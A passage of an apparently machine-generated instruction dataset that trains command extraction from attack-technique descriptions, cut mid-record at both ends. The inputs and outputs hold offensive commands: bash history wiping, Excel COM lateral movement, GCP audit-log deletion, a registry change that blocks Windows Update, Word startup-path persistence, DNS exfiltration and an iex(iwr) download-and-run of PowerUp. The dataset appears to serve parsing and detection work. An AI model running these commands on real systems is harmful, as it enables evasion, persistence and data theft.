    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Before logging off, an attacker might attempt to cover their tracks by running the following commands to clear the bash history: \ncp $HISTFILE $HISTFILE.OLD\nif ((${#HISTFILE[@]})); then echo $HISTFILE; fi\necho \"\" > $HISTFILE\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \"$HISTFILE is larger than 1k\"; fi\nls -la $HISTFILE \ncat $HISTFILE\nhistory -c \nif [ $(history |wc -l) -eq 1 ]; then echo \"History cache cleared\"; fi\n",
    "output": "{\"command_list\": [\"cp $HISTFILE $HISTFILE.OLD\\nif ((${#HISTFILE[@]})); then echo $HISTFILE; fi\\necho \\\"\\\" > $HISTFILE\\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \\\"$HISTFILE is larger than 1k\\\"; fi\\nls -la $HISTFILE \\ncat $HISTFILE\\nhistory -c \\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"History cache cleared\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique leverages Excel COM objects for lateral movement, executing calc.exe remotely with this command: copy c:\\windows\\system32\\calc.exe 'C:\\users\\#{user}\\AppData\\local\\Microsoft\\WindowsApps\\foxprow.exe'\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\"Excel.Application\",\"#{computer_name}\"))\n$com.ActivateMicrosoftApp(\"5\")",
    "output": "{\"command_list\": [\"copy c:\\\\windows\\\\system32\\\\calc.exe 'C:\\\\users\\\\#{user}\\\\AppData\\\\local\\\\Microsoft\\\\WindowsApps\\\\foxprow.exe'\\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\\\"Excel.Application\\\",\\\"#{computer_name}\\\"))\\n$com.ActivateMicrosoftApp(\\\"5\\\")\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a file and mark it as System in PowerShell, use the following command: $file = Get-Item $env:temp\\T1564.001-10.txt -Force\n$file.attributes='System'\n. After execution, verify in File Explorer by enabling View > Hidden Items and checking the Attributes field in Properties > Details.",
    "output": "{\"command_list\": [\"$file = Get-Item $env:temp\\\\T1564.001-10.txt -Force\\n$file.attributes='System'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    As part of its defense evasion strategy, Redline blocks Windows Update connections by executing this registry command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\" /v \"DoNotConnectToWindowsUpdateInternetLocations\" /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\" /v \\\"DoNotConnectToWindowsUpdateInternetLocations\\\" /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test log deletion attempts in GCP, which generates an ERROR event under `google.logging.v2.LoggingServiceV2.DeleteLog`, run the command: gcloud config set project #{project-id}\ngcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet",
    "output": "{\"command_list\": [\"gcloud config set project #{project-id}\\ngcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To abuse the Word startup path registry key and load malware from a specified location, use the following command: reg add \"HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Options\" /v STARTUP-PATH /t REG_SZ /d \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\" /f. A system reboot might be necessary for the changes to take effect.",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Word\\\\Options\\\" /v STARTUP-PATH /t REG_SZ /d \\\"C:\\\\Users\\\\%USERNAME%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To delete a file from the temporary directory without any output, run the following command in Powershell: Remove-Item -path #{file_to_delete}",
    "output": "{\"command_list\": [\"Remove-Item -path #{file_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This tool exfiltrates files through DNS requests using the following PowerShell command (requires domain configuration):\nImport-Module \"#{ps_module}\"\nInvoke-DNSExfiltrator -i \"#{ps_module}\" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}",
    "output": "{\"command_list\": [\"Import-Module \\\"#{ps_module}\\\"\\nInvoke-DNSExfiltrator -i \\\"#{ps_module}\\\" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      